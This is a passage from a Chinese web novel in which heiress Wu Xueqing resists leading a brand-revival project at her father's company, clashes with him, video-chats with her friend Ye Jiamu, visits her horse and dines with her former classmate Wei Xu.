过道传来一阵嘈乱的脚步声和说话声,邬雪青侧头向一旁看去,一群人已经到了她办公室门口。 位居首位的男人身量不算高,约莫一七五左右,略有些中年发福,发际线后移的趋势明显,阔面,鼻梁挺拔,鼻翼处有两道深深的法令纹,乍一看只觉气势冷峻威严,瞧着是个非常不好糊弄的人物。 邬雪青在看向门口的同时,门口的人也都在打量她。 跟在董事长身边的一圈人心里都对这位空降的大小姐充满了抓心挠肺的好奇。开云这个项目不是个小项目,是公司明年的核心项目之一,不少人为了这个项目明争暗斗了大半年,最后竟然被大小姐横杀一枪。 办公室里,坐在老板椅上的女人抬起头来看他们,许多人都微微一怔。 她长发盘于脑后,露出一张明艳的脸颊,长相极其精致,眉眼舒展明亮,一件杏色绸缎衬衫袖口挽上手肘,露出手腕处价值不菲的腕表和乌木手串,说是代言明星在这拍广告也没人有异议。 众人脑海里不由自主浮出一句感慨:钱真是养人啊…… 不等她开口,季延山便先笑了起来,朗声道:“雪青,第一次来爸爸这里,对办公室还满意吗?” 见一群人都拥进来了,邬雪青皱了下眉头,“还行。”又看向季延山,不爽快道,“我都等半天了,再不来我都要回去了。” “那怎么行,你以后可是爸的左膀右臂,你未来还要多跟这些哥哥姐姐们打交道呢!” 季延山说着,转头看一眼,身旁的人立马捧场地附和起来。 一个高个的中年男人说:“以前就听说季小姐是学经济的,现在看不仅继承了季董的商业天赋,更是才貌双全。” 季延山非常高兴,拍着谭技肩膀,很是和蔼地 和邬雪青道:“雪青,过来和你谭叔叔打个招呼,我介绍你们认识。” 邬雪青这才慢吞吞合上文件夹,起身从办公桌后走出来。 男人先伸手道:“季小姐,百闻不如一见。” 邬雪青伸手和他简单一握就松开了手指,她语气平淡:“我不姓季。” 谭技稍怔。 “胡说,这丫头!”季延山在她后背轻拍了一下,“你是爸爸的女儿,自然也是姓季的,怎么长这么大,这点礼貌都没有了?” 邬雪青微微抬头,和众人道:“以后在公司,叫我Shirley就好。” 男人脸上莫名的神色一闪而过,很快又调整好了,微笑道:“你好,Shirley,我叫谭技,和你父亲共事多年了,一直遗憾没机会和你正式见面,很高兴现在能成为同事。” 季延山道:“雪青,谭技是公司执行总裁,也是你的领导,你以后在公司就要像尊重爸爸一样尊重你谭叔叔。” 谭技哈哈笑道:“季董言重了,我们公司一直鼓励每个人都要做自信、平等、友善的伙伴,相信我和Shirley在工作上也能成为默契的朋友。” 邬雪青没说两句,他们俩倒是你来我往地商业互夸了一番。 季延山顺带又把公司几个重要的管理者介绍给邬雪青认识了一下,接着便直接领着一帮人气势哄哄去了会议室开展项目会议。 会议室门一推开,好几束目光同时看了过来。 已经有人比他们先到了。 会议桌上除了茶水,还摆着标了名字的名牌,显然是第一次正式的项目碰头会议。 邬雪青眼睛眯了眯,视线在一张名牌上顿了一下,随即又看向名牌后的人。 男人戴着一副半框眼镜,仪表堂堂,斯文谦和,他先看向季延山,随后看向邬雪青,带着些“好久不见”意味地朝她慨然一笑。 邬雪青的名牌就在他旁边。 董事长没落座,其他人也都站起来了。 季延山摆摆手:“都坐吧。”他在主位坐下。 邬雪青坐在父亲左手边第一位,对面就是总裁谭技,坐在谭技下手的是董事长秘书舒逸欣。 见座位都坐满了,季延山喝了口茶,清清嗓子,朝董秘道:“舒逸欣,开始会议吧。” 董秘颔首,调整了一下面前话筒,道:“今天是2025年10月1日,我先祝大家国庆节快乐,很抱歉占用大家国庆假期开展此次会议,大家都知道谭总刚从欧洲飞回来,之后还要飞回欧洲,本次项目的总监Shirley也刚结束一趟重要行程赶回来,实在是迫于各方行程统筹安排,只能洽合在今天,希望大家能谅解。下面我们正式开始本次会议……” 其他人都提前清楚了会议的流程安排,准备了发言稿或发言思路。邬雪青前三天才收到项目书,对项目的了解只有点皮毛,因此整个会议她的话都不多,偶尔问起她的意见,她也很直白地回答:“我对项目还不了解,先听大家的看法。” 她作为整个项目的总监无话可言,坐在她下手的男人自然接过了发言权。 邬雪青看了眼他桌前的资料,到他发言时,他已经准备了一沓详细的项目计划书,起身给所有人都发了一份。 比起之前邬雪青看的那份项目草纲,这份计划书显然是更详细落地的。 方案里具体地提出了要成立基金会,挖掘和宣传非遗文化,同时打造一个云开的会员制俱乐部,将内容赋能和社群体验相结合,打造出云开的新品牌名片。 季延山看了看,评价说:“小魏计划书做的漂亮,方案很有想象力,我觉得有一定可行性,你们觉得呢?” 谭技看看季延山,又看看邬雪青,接着看向魏煦,瞧过三个人的身体语言,他端起茶杯喝口茶,淡笑而不言。 职场如秀场,董事长都说有可行性,总裁看起来也没意见,其他人纵使心里有些别的想法,也没人想先出头,会议室里只有附和着点头的声音说:“是挺好的。” 只听到一个声音,季延山便点了头:“大家都没意见,那就先按……” “我有一个疑问。”邬雪青开了口。 众人一默,见是大小姐,便又释然。 季延山身体前俯,十指交扣,倾听道:“你说。” “不是要把品牌盘活吗?这基金会也好,俱乐部也好,我只看到了在品牌概念上做文章,既没有解决核心的问题,也没有突出集团优势,选得盘子还很小,无论是总量还是品牌能辐射的影响力都极其有限。”她说得直接,完全不给人面子,“我觉得还是再看看别的方案吧。” 魏煦哑然,抿住唇,身子又更端直了几分,看向季延山。 季延山脸上露出了笑容:“你说的有道理,那你有什么其他想法吗?” “没有。” 她答得毫不犹豫,下面不免哗然。 季延山听了听讨论声,有人说“这个方案还是可行的”,有人顺势嘀咕“是不够全面”,他听了会儿,开口道:“小魏的这个方案有可行性,也的确有局限,但不是全然没有可取之处。我们今天开这个碰头会就是要集思广益,听听集体的意见,只要有想法的,都可以说说。” 会议开了一个上午的时间,从品牌介绍、历史溯源,一直到项目头脑风暴,最后讨论出了一堆蓬草似的想法,也还没有形成一个系统的方案思路。 邬雪青腿都坐麻了,望着窗外第N次发呆走神,甚至怀念起了在车上一坐好几个小时的时候,至少眼前能看到的风景是在变化的,听到的声音是风呼畜啸,耳边也没有十几个人在聒噪。 会议结束,季延山点点邬雪青和魏煦,道:“其他人可以走了,你们两个先别走。” 领导层的其他人都陆续鱼贯而出。 季延山和谭技又商业互吹了一番,顺带关切了一下谭技去欧洲的工作,接着拍着肩膀表示对谭技是委以重任,清楚他肩上胆子很重,希望他也不要辜负董事会的信任云云,最后谭技才领着助理撤离。 季延山一起身,魏煦就很有眼力见地走了上去,跟在季延山身后像助理似的将谭技送进电梯间。 和魏煦比起来,开完会就溜达着去了洗手间,回来又坐在椅子上一动不动的大小姐就显得很没眼力见了。 甚至还要季延山招呼她道:“雪青,来我办公室!” 进了董事长办公室,魏煦眼观鼻鼻观心,站得很挺拔。邬雪青还没等季延山坐下,她就先靠倒在了沙发上。 坐了一上午,西装外套不免起褶皱,季延山脱了外套递给秘书,又招呼魏煦道:“小魏,别站着,你也坐。” 董秘将老板外套收起,又微微躬身:“董事长,我去泡茶。”退出了办公室。 季延山看看一人坐一侧的女儿和魏煦,一个搂着抱枕靠着沙发,一个恭恭敬敬坐得笔直,连视线都不交流,他诧异道:“你们不是高中同学吗,怎么也不寒暄寒暄?” 第49章 魏煦倒是想和邬雪青打招呼的,但她态度太冷淡疏离,和待陌生人无异,他怀疑她可能已经忘掉他了,于是直到会议结束也没有找着打招呼的时机。 这会儿董事长都提出来了,魏煦也上道,笑着说:“虽然我和Shirley好几年没见了,大家都有了不少变化,但依然很期待接下来的合作,相信我们依然能配合得很愉快。” “依然”这个词说得巧妙。 季延山听了,意味深长地一笑。 他在沙发独位处坐下,先问邬雪青:“这些天都去哪里玩了?” 她语气懒散:“自驾去西藏,去了有十来个城市吧。” “怎么想到跑那边去玩,好玩吗?” 季延山像个温敦的慈父,声音也柔和宽厚。 “还可以,风景挺好的,就是紫外线太强了。” 季延山仔细看看她,点头道:“倒是没怎么晒黑。” 闲聊了几句,季延山转回了正题,他道:“雪青,开云这个项目公司很重视,爸爸把这个项目给你,是重视也是信任,要好好干,不过也别太有压力,有什么不懂的,多向公司里的前辈请教,需要什么资源,直接来跟我讲。” 魏煦听了这话,心头不免触动,搭在膝盖 上的手指摩挲了下,转头看邬雪青表情。 她倚着沙发,手指支着脸颊,脸上神色不变,眉眼漠然:“我不想做这个项目。” 季延山脸上的笑意缓缓敛起,魏煦也是一惊,张嘴想问为什么,又觉得他此时不应该开口,于是又闭上了嘴,继续沉默当陪衬。 “不想做?为什么?说说你的理由。”季延山表情淡了,语气倒没有多严厉。 办公室门被轻轻推开,董秘端着茶盏走进来,正好听了半句话,心头也有些吃惊,不动声色地将茶杯依次放在了茶几上,捱了片刻。 淡淡的茶香顺着氤氲的茶气逸散出来,是馥郁浓厚的红茶。 邬雪青目光落在琥珀一样的茶汤上,眼睫微垂,依然是凡事不过心的散漫模样:“没做过,不会做,也嫌麻烦。” 真是大小姐啊。 舒逸欣都忍不住在心里长叹了口气。 “没有谁是一开始就什么都会的,工作都是边干边学。爸爸能把这个项目交给你,就是信任你有这个能力,选小魏来做你的项目经理,也是想你们以前是老同学,互相能打好配合。小魏工作经验比你丰富一点,你前期项目上有不懂的,他都能帮你。” 魏煦适时插话道:“我也是第一次做这种品牌全线的重塑项目,挑战不小,能运用的过往经验可能有限,但也会尽全力协助Shirley。我想集团资源丰富,领导们也非常关照我们,我和Shirley一定能共同进步,把这个项目做好。” “听到了吗?你看人家小魏的态度。”季延山对魏煦的这番话很满意,对女儿不求上进的样子不免生出些责备,“你不懂不要紧,只要肯学习,肯干,总会有进步的。爸爸就你这一个孩子,爸爸肩上的担子总要分些到你肩上来的,等到爸爸以后动不了了,你不干,集团谁来管?几万人的工资谁来发?” 季家人又不止她一个,她不干,多的是叔伯姑姑、堂哥堂姐想抢着干,况且她又不姓季,集团如果真交到她手上,恐怕季家人才要气急败坏了。 “既然你信任魏煦,他又有经验,那就让他干呗。”她态度很无所谓。 魏煦很有自知之明,见话题转到他身上,他道:“集团信任我,我肯定全力以赴。不过我们这个项目光有经验还不够,还是需要一个更能代表集团战略决心的人来主导。Shirley,你才是季董亲自指定的项目负责人,开云这个项目想要推陈出新,由你来领导再合适不过。” 他看向季延山,从季延山的目光里读出了赞赏,语气也就更自信了些。 邬雪青点点头,好似被说服了,接着她就坦坦荡荡道:“有道理,如果只需要我当个吉祥物坐在这,我没意见,如果这个位置上需要一个能干实事的人,我这金刚钻揽不了瓷器活,你们还是另请高明吧。” 季延山一哽。 她这以退为进让长袖善舞的魏煦也哑口无言了。舒逸欣也忍不住侧目打量这任性的大小姐,心道这位可真是身在福中不知福。 当着外人面,季延山还是维护自己女儿的,他无奈又宽纵地道:“你啊你,还是和小时候一样,就怕表现自己。爸爸能同意你进项目组,肯定是知道你有这个能力的。好了,这个事就这么定下了。” 没再和她掰扯这个事,季延山拍板,直接揭过了这个话题,转而和魏煦谈了起来。 他和魏煦表示,之所以选他做这个项目经理,就是希望他能当好军师,不仅要做好本职工作,更要帮助总负责人做好落地工作。 话语中隐隐透露出器重。魏煦心头一热,毕恭毕敬地一一应许。 “董事长,金陵公馆的位子订好了,十二点半,您看是现在走还是再等一刻钟?”董秘适时提醒。 “这么快到吃饭的时间了,”季延山看一眼表,和舒逸欣道,“你先陪小魏下去,把车准备好。” 魏煦听懂了潜台词,有眼力见地先起身告退,和董秘去了楼下。 办公室只剩下季延山和邬雪青了。季延山扶着沙发扶手起身,将已经熨平整的外套穿上,问邬雪青:“你真的不想做这个项目?” 邬雪青换了个坐姿,端起茶杯抿了一口,没有答。 季延山声音平稳,听不出有什么失望,他道:“既然你不想干,那我就把这个项目全权交给小魏负责了,以后小魏做出的决定,你也不要和他唱反调,一个项目组里,只需要有一种声音。” 邬雪青哂笑:“您一开始就没打算让我负责,何必还唱这么一出戏?” 在他们“家里”,有些东西是早就心照不宣的。 她姓邬而不是姓季,不可能成为季氏集团真正的接班人。 邬家和季家联姻,在联姻前就已经协商好,生两个孩子各随一个姓。 如果先出生的是女孩,那就姓邬,反之姓季。 季家需要一个男孩做接班人,如果万一两个都是女孩,那也至少得是一个姓“季”的女孩。 可惜人算不如天算,年轻时计划周全的季延山不会想到,他这辈子都和儿子无缘。 在集团内,季延山从来是说一不二的,从未有过人敢质疑或有胆色反驳他。他脸上有淡淡的不悦,但没有训斥她的没礼貌。 毕竟她的骄纵、跋扈、目中无人,背后都有他的纵容和放任。 季延山的口吻依然温和如慈父:“雪青,以你的专业,我原本是想将你放在小魏的位置上的,是你妈妈不同意,她认为你有领导的魄力和打破窠臼的创新力,她是集团股东,我自然要考虑她的意见,但既然你不想做这个项目,那就不做。你明白的,爸爸从不为难你。” 邬雪青审视的目光沉沉落在季延山背影上,好一会儿,她极轻地笑了一下,意味不明:“你们这是商量好了,一个唱红脸,一个唱白脸,是吗?” 季延山道,“你妈这个人要强,对你的要求也严苛,但人各有志,强求的结果未必如愿。”他转过身来看邬雪青,眼神慈爱,“你既然不喜欢做生意,那就不做,爸爸更希望你能活得快乐。” 父亲的眼神宽容,眼角堆叠着慈祥的笑纹,像看一个天真的孩子,女儿却像一座捂不化的冰山,冷漠、尖锐,眼神深处藏着冷静的审视。 “好了,不谈这些事了,”季延山笑着,但眼底平静,他温和道,“还不饿吗?都多久没有陪爸爸好好吃一顿饭了?等吃完饭,再陪爸爸去打会儿高尔夫球。” 饭桌上,季延山果然不再提项目上的事,他就像一个寻常父亲,陪着女儿和她的同学聊些家常,问起些他们高中时候的旧事,譬如毕业后有没有回过母校,还记得哪些老师…… 邬雪青专心吃饭,魏煦倒是一一答上,和季延山聊得有来有往。 吃过饭,季延山又带着魏煦和邬雪青去了高尔夫球场。 魏煦是很聪明的人,不仅懂得精英圈层的社交逻辑,还没有一般年轻人的自视甚高,他放得下身段去奉承,也很会做恰到好处的经营。 恰到好处的让步,恰到好处的附和,恰到好处的谦逊。 把舞台让给他表演,邬雪青打了几杆就以太阳太晒为由坐回了球车上刷手机。 魏煦陪在季延山身边,出杆时,季延山点了点他肢体上几个略显僵硬的部位,要他做调整,魏煦一一改正,然后抬臂,挥杆,圆球飞出。 他向远眺望,遗憾看见球擦着旗杆过去。 “不错,还是有进步了。”季延山拍着魏煦肩膀欣慰道。 魏煦遗憾摇头:“还是不如您,您打的那一球太漂亮了,我还是要跟您多学一下挥杆的节奏和技巧。” 邬雪青戴上耳机,隔绝噪音,将邬玉瑾发给她的那些资料又重新打开看了一遍。 第一遍看得很囫囵,但她记忆力不错,今天翻阅董秘给她的纸质资料时,她觉得那些文件似乎少了一部分内容。 她不确定自己有没有记错,将三份文件重新快速浏览了一遍,果然,在 最后一份文件内,她看到了一份纸质文件里没有的品牌早期的产品分析报告。 报告详细说明了品牌过去为了迎合市场做了哪些失败品,间或提到了几个合作、负责的设计师名字,除此外,还有一份集团架构图,详细标注了领导层的派系关系。 这些资料和隐晦的关系一般员工是不可能了解的,只有一种可能…… 邬雪青难以想象邬玉瑾坐在电脑前一个字一个字敲下这些资料时的样子。她日理万机,哪来的时间亲自做这些芝麻大小的工作? 她关了手机,闭上眼睛,想将思绪理清楚,炽热的阳光却刺得她眼仁也胀疼。 手机嗡一声,她睁开眼,点进消息,看见了一张照片。 天蓝云低,草场像一张色调不一的金黄色方格纹毯子,远处的山坡如同色彩斑斓的织锦,橙红、深绿、金黄层层叠叠,远处能看见雪山一角,漆黑的山石上布着点点的白,清晰而锐利,像画家绘笔下的童话世界。 一瞬间,资料文件里黑白密密麻麻的文字,心里堆叠的种种费解,社交场里的烦躁和抽离感都从她脑海里散却了。 礼尚往来,她举起手机,对着球场拍了一张发了过去。 他一眼认出位置,很快回复:去打球了? 邬雪青:陪我爸打,太晒了。 叶嘉木教她:跟叔叔说声,你去餐吧喝杯咖啡,那儿观景窗正对球场,既躲了太阳,还能看他打球。 她笑了一下,放下手机再看球场,觉得阳光好像也没有刚才那么刺眼了。 第50章 晚上九点,酒店房间。 叶嘉木将手机放在洗手台一侧,边刷牙边看视频画面。 镜头那边正在走路,画面有些晃。 “噹”一声响,是杯子落在玻璃桌上的声音。 后置的镜头转到前置,露出了一张白皙素净的脸。邬雪青戴着白色毛绒绒的发带,一边打开笔记本电脑,看了一下屏幕,道:“你这么早就准备休息了?” 他含了口水漱掉,说:“国庆人太多了,我准备早上早点走。” 刷完牙,他捧了一把水,低头往脸上搓了几下。 邬雪青看不过眼,嫌弃道:“你怎么这么糙!好歹用洗面奶洗一下呀!” “行。” 他又听话拿出男士洗面奶往手上一挤,对着掌心搓两下便往脸上糊。 她房间只开了一盏落地灯,笔电的光照在她脸上,她支着下颚正按鼠标。 叶嘉木睁着一只眼睛看她,好奇问:“在忙什么呢?” “看项目资料。” “你妈妈给你的那个项目?” “嗯。” 他洗干净脸,拿起手机往房间里走,“有头绪了吗?” “我在找一些案例看,先找找思路吧。” 叶嘉木提出自己的一点看法:“一个旧的品牌想要重新做起来,从很多方面来讲是比创立一个新的品牌要容易的,过去的生产线、供应商、口碑,等等,都是可以整合起来为你所用的资源,但这是助力也可能是绊脚石。2000年前苹果濒临倒闭,乔布斯大刀阔斧精简产业线,打造出电子产品极简主义和苹果生态系统,还有乐高,壁虎断尾,切断非核心业务,专注于核心产品,又和大量顶级ip合作,打造出自己的创意概念……” 邬雪青的目光转到了视频画面里。 叶嘉木将手机放在床脚,蹲下身收整行李箱,他举了几个例子,又道:“其实现在一个旧的品牌想要破圈,在国内还有一个特别简单的捷径。” “捷径?” 邬雪青下意识追问。 他小臂搭在半蹲的膝盖上,看向她,笑着说:“粉丝经济。” 邬雪青不追星,但对国内粉丝市场的疯狂程度也略有了解,她点了点头,在文档里先敲下了几个关键词: 1.核心产品 2.粉丝经济 叶嘉木又道:“不过这也只适用于国内,而且现在一线明星的代言费动辄高达七八位数,如果本身产品定位不够清晰,和年轻的粉丝经济市场产生不了化学反应,反而是得不偿失。而且如果想把品牌推出海内外,还是要考虑国际视野,首先需要一个有力的能够得到大范围认同的品牌概念,基于这个概念之上,整合产品,加强宣发推广。” 他说的这些邬雪青也能想到,她问:“还有更落地的建议吗?” 叶嘉木想了想,说:“既然是丝绸产品,你看是不是能够和丝绸之路这个大概念结合起来。品牌想要走出去,学会借势也很重要,对于出口的产品,国内也是有很多政策扶持的,如果能够和官媒合作,凭借官方背书,未尝不是一条破圈路径。” 邬雪青若有所思了会儿,感觉他提到的几个点很有启发性,但她也诚恳道:“其实我对国内非遗文化和商业政策上的很多东西都不太了解,这也是我很犹豫要不要接这个项目的原因之一,但今天开完会,我的感觉是大部分人好像做事都倾向于无功无过就好。领导说什么,下面就都鼓掌‘好好好’,我不太喜欢这种做事风格。” “这不能怪下面的人,一个集团其实就和一个王朝一样,当它发展到鼎盛时期,权力过于集中时,就听不到下面的声音了。我想,这也是阿姨想让你来做这个项目的原因,你能够代表高层的意见,但同时你在董事会面前也是有话语权的,如果要大刀阔斧地改革,必须要有一把利刃,这把利刃很难从内部选出来,你是不二之选。所以现在最重要的就是,你是怎么想的?” 不二之选? 她喜欢这个形容。 邬雪青神色不动,倚着椅背看他:“我没有过任何经验,一上来就要带一整个团队,万一我搞砸了呢?” 没有和她说“你要相信自己”“一定会成功的”这种废话,叶嘉木将行李箱拉链拉起,把箱子推至墙角,又拾起手机,道:“凡事有两面,既然集团敢让你来做负责人,那就说明他们考虑过失败的结果能不能承受。你虽然是项目负责人,但在集团里你也只是一个给老板们干活的螺丝钉而已,有些事情需要你负责,有些后果需要老板来承担,如果所有项目风险都只落在做事的人身上,那这老板未免也太好当了。” 他摇头唏嘘,成功将邬雪青逗笑了。 邬雪青将电脑推开,握着手机趴在桌上看他。 叶嘉木关了房间灯,只留床头一盏灯,掀开被子上了床。 “你要睡了吗?”她问。 他说:“这才视频了几分钟,再聊会儿。” 镜头里能看到她趴着的脸颊。 叶嘉木低声问:“你困了吗?” “没有。”她按了下截图,问他,“你现在到哪里了?” “到左贡了,快的话后天就能出藏了。” 后天才刚出藏。 邬雪青不易察觉地轻叹声气,交代道:“你注意安全,别开太急了。” “好。” “那你睡吧,我再看看项目资料。” “嗯,你忙吧。” 邬雪青将手机放在一侧,拉回电脑,又端起杯子抿口茶,继续看起了资料。 视频没有挂断,叶嘉木将手机充上电,放在一侧,脑袋枕着胳膊,听着手机里不时传出的鼠标声,细微的键盘敲击声,渐渐地睡了过去。 历经一周时间,邬雪青的小白马终于抵达了隅州。 隅州的一家马场接收了小白马,马场老板对着这匹耗费十几万运回隅州的马上看下看,左看右看,愣是没看出这匹马有什么过马之处。 邬雪青赶到马场时,驯马师正在给德吉开小灶。 在一群高头大马里,德吉显得实在太过瘦小了,一路又是车又是飞机,抵达隅州时德吉整匹马都蔫了,此刻正把头埋在食槽里安静地咀嚼草料。 工作人员把邬雪青带过来,喊了一声:“德吉!你主人来了!” 德吉的反应是甩起尾巴动了动,脑袋都不抬一下。 “德吉。”隔着栏杆,邬雪青伸手摸了摸它的脑袋。 德吉耳朵前倾,抬起头看向她,眼睛顿时就亮了,它躁动地在狭小的格子间里动了动前蹄,一副迫不及待要出来的样子。 “放它出来吧。”邬雪青说。 工作人员打开了马圈的门,和她道:“你可以亲自给它洗个澡,它有点认生,不太愿意让我们碰它。” 邬雪青揉了揉德吉的脑袋、耳朵,高兴非常:“你真的还记得我啊?” 德吉张嘴咬了咬她肩膀,又舔舔她脖颈,并不用力,不过弄了她一脖子口水。 邬雪青用手挡住了它的头,啧一声,“干嘛咬我?” 驯马师笑道:“德吉确实和一般的马不一样,它的这些行为都是表示亲近的。” 他又递了两根胡萝卜给她,道:“你可以喂它吃点东西。” 正值国庆假期,马场里的游客也众多,大多是家长带着小孩过来玩,见他们牵着马在路上走,纷纷避让。 陌生的环境让德吉有些紧张,它高抬起头,耳朵朝后,踏着马蹄,晃头打了个响鼻,邬雪青牵着缰绳,又揉了揉它脑袋,安抚道:“没事的,德吉。” 它有些委屈,又低下头来蹭了蹭她肩膀。 大半天的时间邬雪青都泡在了马场里,给德吉洗澡,带它散步。 大概是有熟悉的人在身边,德吉慢慢放松了下来,甚至在邬雪青身边打起了滚,刚洗完澡就又滚了一身草屑。 这家马场对外开放时间很短,只有下午四个小时,其他时间都只提供场地给马场会员使用。 四点过后,马场的人渐渐少了。 邬雪青拉着德吉去了跑马场里跑了几圈,马场中间有障碍栏杆,她很有自知之明,没有刚学会跑就准备飞。 马场教练倒是跃跃欲试。 邬雪青让教练牵着去走两圈。德吉很不配合,一会儿摇头,一会儿甩尾巴,甚至就站在原地不动,怎么拽它都懒得搭理。 “脾气还挺大……”教练悻悻。 邬雪青站在围栏边喝了口水,把杯子递回给生活助理,又喊了声:“德吉!” 德吉立马像小狗似的甩开教练,朝她跑了过来。 天差不多黑了,她晚上还有约会。 邬雪青依依不舍地将德吉领回马圈里,又亲自给它倒了一圈草料,摸摸它脑袋,承诺下次再来看它,这才离开了马场。 她的助理笑她,说:“Shirley,你好像一个把孩子放在寄宿学校,依依不舍的妈妈。” 邬雪青将手洗了洗,叹气说:“你不懂,和马玩,比和人打交道有意思多了。” 看来老板的厌人症又更严重了。 徐玉只笑笑,递上毛巾给她擦手,又问:“晚上你想去吃哪家餐厅?” “晚上有约,你跟我一起去吧。” “好的。” 徐玉收到了一个西餐厅地址。马场在郊区,路程不近,又是晚高峰,至少得开个把小时才能到。 路上,邬雪青说:“Clara,你帮我看看隅州有什么学车的地方,我想考个驾照。” 徐玉有些惊讶,但没多问原因,毕竟大小姐的想法总是一出又一出的,她应道:“好,我知道有一家驾校有室内场地,待会我联系他们问问有没有一对一的课程。” 邬雪青的朋友很少,毕竟她这个人性格的确并不怎么好相处,属于乍一相处就能把人吓得避退三舍的类型,就连之前的助理都是没干两月就跑了,只有徐玉,跟了她快一年半了。 从一开始的助理和老板关系,渐渐地也处成了朋友。 但徐玉很有分寸,偶尔打趣老板,行为上从不越界,做事利落,是很有情商又有能力的人。 这点,连邬雪青也承认。 “我记得你是哥大毕业的吧?什么专业来着?”邬雪青忽而问。 “对,我是学的艺术管理。” “艺术管理……你想来公司上班吗?” 徐玉心一动,问:“有什么岗位呀?” “总监助理。” 徐玉笑了:“听起来应该只有月薪三千的样子。” “你理想薪资是多少?” “一万左右吧?” “好。” 邬雪青爽快应下。 徐玉:“……” 怎么办,老板应得这么痛快,她感觉她报少了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-56 第51章 市中心西餐厅。 邬雪青比约定的时间早十分钟到餐厅,她一说“有预约,姓魏”,服务生便立刻道:“您是邬小姐吧?魏先生已经在等您了。” 魏先生? 徐玉没听过这个名字,兀自好奇。 服务生领着他们到了窗边位置。 听见有人走来的声音,魏煦回头看去,立刻起身朝邬雪青一笑:“没想到你来这么早,请坐。” 这是个面对面的双人位置,邬雪青道:“我带了助理,换个大点的桌子吧。” 魏煦这才看见站在她身后的人,颔首道:“也好。” 餐厅人不多,自是有空着的位置的。 服务生给他们调换了一个靠窗的四人位。邬雪青带着徐玉落座。 魏煦递过菜单道:“女士优先,你们先点餐。” 邬雪青翻开菜单看了几眼,点了几个菜,又问了徐玉想吃的,接着将菜单盖上,放回了桌子中间。 “先生,您呢?”服务生问。 魏煦朝对面抬抬下颚,说:“照她的给我依样上一份就好。” “好的。” 服务生领了菜单退了下去。 徐玉不由打量起对面的男人。 口味是很私人的事情,依照对方的点单原样上菜,要么是不懂点单,要么是关系极亲近,还要么……就有些冒犯的意味了。 不知对面这位是哪种意思? 徐玉端起柠檬水喝了一口,余光又瞥向她老板。 邬雪青神情未变,似乎并不在意。她靠着椅背,两只手指在手机上敲打着,看起来是在回人消息。 见她在忙,魏煦没有打断,转而看向徐玉,微笑问她:“怎么称呼?” “可以叫我Clara,我是Shirley的助理。” “Clara。”他点点头,表示记住了,又自我介绍道,“我叫魏煦,魏征的魏,春风和煦的煦,和Shirley是同事。” “啊,魏先生。” 徐玉面上也了然地点点头,心里头却犯起嘀咕。 一般同事就是聚餐,也通常是火锅、烤肉这些人多热闹的地方,选在西餐厅,未免也太正式了些。 见邬雪青坐下后就一直在看手机,没有要说话的意思,魏煦只得先开口道:“Shirley,关于项目,我还是想多听听你的想法。上次开会你指出的问题很有道理,我回去后又仔细想了想,的确是我考虑得太片面,如果你有什么好的想法,或许我们可以综合一下。” “稍等。” 邬雪青说。 她看起来还没回完消息,魏煦便又等了等。 徐玉不禁想起自己老板退学前写小组作业,她从来不管小组里其他人怎么做,任务分配完,她把自己的部分一弄完往群组里一发,之后就什么也不管了。以徐玉对邬雪青的了解,觉得她很大概率会随便敷衍一下,然后吃两口走人。 邬雪青放下手机,道:“我昨天了解了一些相似案例,也询问了一些业内朋友的意见,对这个项目,我觉得我们可以从这些方面考虑……” 徐玉…… 徐玉大为震撼。 她那厌人症严重,从来只用余光看人,和人话不投机半句多的高冷老板,竟然真的在平和地和人讨论项目方案可行性。 魏煦带了笔记本电脑来,直接打开了电脑当场和邬雪青改起了项目方案。 服务生上了前菜,沙拉、鹅肝和浓汤,邬雪青吃了一口鹅肝,一勺浓汤,便把餐盘推到了一边,于是整张桌上除了徐玉在吃两口,只听两个人低低讨论方案的声音。 感情选在这么正式的地方,这两位真是来开会的? 一直到主餐上来,两人这才 暂停讨论,将电脑移到了一旁。 邬雪青吃东西时很安静,切割牛排的动作娴熟而文雅,咀嚼时也不会发出任何不雅的声音,一举一动都瞧得出家教的严苛。 魏煦看了她几眼,忽而笑道:“其实你和以前还是挺像。” “哦?” “平时看起来冷冷的,对什么都不在意的样子,认真的时候又总是很能心无旁骛,做什么事情都追求要做到最好。” 徐玉嗅到了瓜味,掩着唇在一旁吃惊地看着他俩。 邬雪青只吃了几口牛排就放下了刀叉,用餐巾擦了擦嘴,说:“你倒是变了挺多的。” 餐厅的钢琴曲悠扬,灯光暖昧,气氛温馨。 魏煦神色微振,不掩高兴道:“我还以为你已经不记得我了!” “当然记得,你模考时候总是在叶嘉木后面。” 魏煦:“…………” 他扶额哭笑不得,“这还不如不记得。” “但你国际模联的成绩比他好。”她想了想说。 “没想到你还记得这么清楚,”魏煦心下触动,声音愈发柔和,就着话题顺口问,“那你和叶嘉木还有联系吗?” 邬雪青弯了下唇,没有回答。 魏煦自当了然,道:“也是,你们上学时候就一直打得不可开交,现在自然不可能还有联系。” 徐玉插话,有些意外:“打得不可开交?” “不是那个打,”魏煦失笑,“那时候他们成绩经常在前后打架,不过听说叶嘉木最后没有出国,留在了国内上大学。” 简单解释了一句,魏煦又把话题说回了自己身上,感慨道:“我原本也想去美国的,可惜最后阴差阳错去了加拿大。如果当初没有意外,Shirley,说不定我们现在已经是无话不谈的朋友了。” 他端起了玻璃杯,敬向邬雪青。 毕竟之后是合作伙伴,邬雪青和他简单碰了一下,道:“项目书你回头发一个模板给我,这周末我们再碰一下,预算上的事情你再给我一个具体一点的数字。” 话题又说回了项目上,再聊了一会儿,吃两口甜品,邬雪青就带徐玉走人了。 晚上九点,邬雪青回到了家。 一推开门,她就闻到了一股熟悉的中药味,不禁皱了皱眉头。 厨房有说话声,她换了鞋走进客厅,听到厨房里阿姨正在问:“邵先生,这补汤喝了真的有用吗?” “也只是调理,她刚做完手术,又一天都不肯多休息,至少要把亏空的气血补回来。” 炖盅咕噜噜冒气泡,阿姨掀开盖子瞧瞧,道:“我瞧着差不多了。” “你先盛出来吧,我叫玉瑾下来。” 邵项均说着便往外走,忽地撞见邬雪青,他脚步一顿,很快便又挂上了温和的笑容,热切道:“雪青回来了,吃饭了吗?” “吃过了,你们在炖什么?”药味冲鼻,她捂了捂鼻子。 “给你妈妈炖了一个鸽子汤,你想喝吗?刚刚炖好。” 邵项均笑着问。 邬雪青光闻到味道就想起了前些天被中药支配的恐惧,摆手道:“我不喝。” 知道年轻人不爱喝这些汤啊药啊的,邵项均也没勉强,仍旧温和地寒暄:“你寄回家的那些特产我们都收到了,松茸尤其新鲜,明天叫阿姨用松茸做几个菜,你也尝尝家里阿姨的手艺。” “嗯。” 见她淡淡的,邵项均也不多聊了,叮嘱道:“那你早些休息吧。” 